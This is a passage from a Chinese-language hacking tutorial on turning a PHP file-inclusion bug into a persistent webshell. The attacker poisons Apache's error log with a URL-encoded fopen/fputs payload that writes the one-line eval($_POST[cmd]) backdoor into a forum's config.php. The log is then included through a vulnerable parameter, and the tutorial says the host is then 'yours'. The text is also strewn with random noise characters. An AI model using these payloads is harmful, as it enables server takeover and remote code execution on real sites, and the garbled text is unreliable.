因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 " E' S3 G2 h9 t! Z9 b7 a
& G8 `1 r2 ~9 z# ?& j! U |1 \比如还是这句一句话木马 * n, N' @% l' G& h
<?eval($_POST[cmd]);?> , j* k& ]" c' V9 |! y- l
+ Y0 l/ l: T4 f8 U! ?/ Z" r
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
" }" X7 ^% O3 g! Ufopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 & L* N& |3 K( B0 A+ N
3 g1 u4 {1 ~( ?, t2 ~' M4 _
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); ( T, ~& ]7 \6 c }7 @
fclose($fp);?> //在config.php里写入一句木马语句 3 B7 w) W" ~% W1 J# x
9 b: N1 W( z% R* r" o% k% ]我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。 * G2 ^8 s0 z/ L4 \5 ~3 m9 p
转换为 " n" M) t+ d/ r5 b
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F $ w: N r& W8 X; P+ M

& B& ?* x' U: j1 c4 I这样就错误日志里就记录下了这行写入webshell的代码。
' k* q2 G+ h' B7 @) x" f' D我们再来包含日志，提交 3 j9 ]* V1 a5 r1 o8 \9 H- ` Z
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log * N2 l% g) r. L8 M1 j. k- a- x3 @
+ e" g7 p/ B! G
这样webshell就写入成功了，config.php里就写入一句木马语句
" A- V( @% z: a5 m2 Z* P/ E" C& C) s8 v, SOK. # i, M, R6 f8 M/ E8 c8 D
http://www.xxx.com/forum/config.php这个就成了我们的webshell ( h8 e0 d& P j7 `: D3 L
直接用lanker的客户端一连，主机就是你的了。 + i0 [- M+ g( e
, q7 U) S7 g- r3 ^* A
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
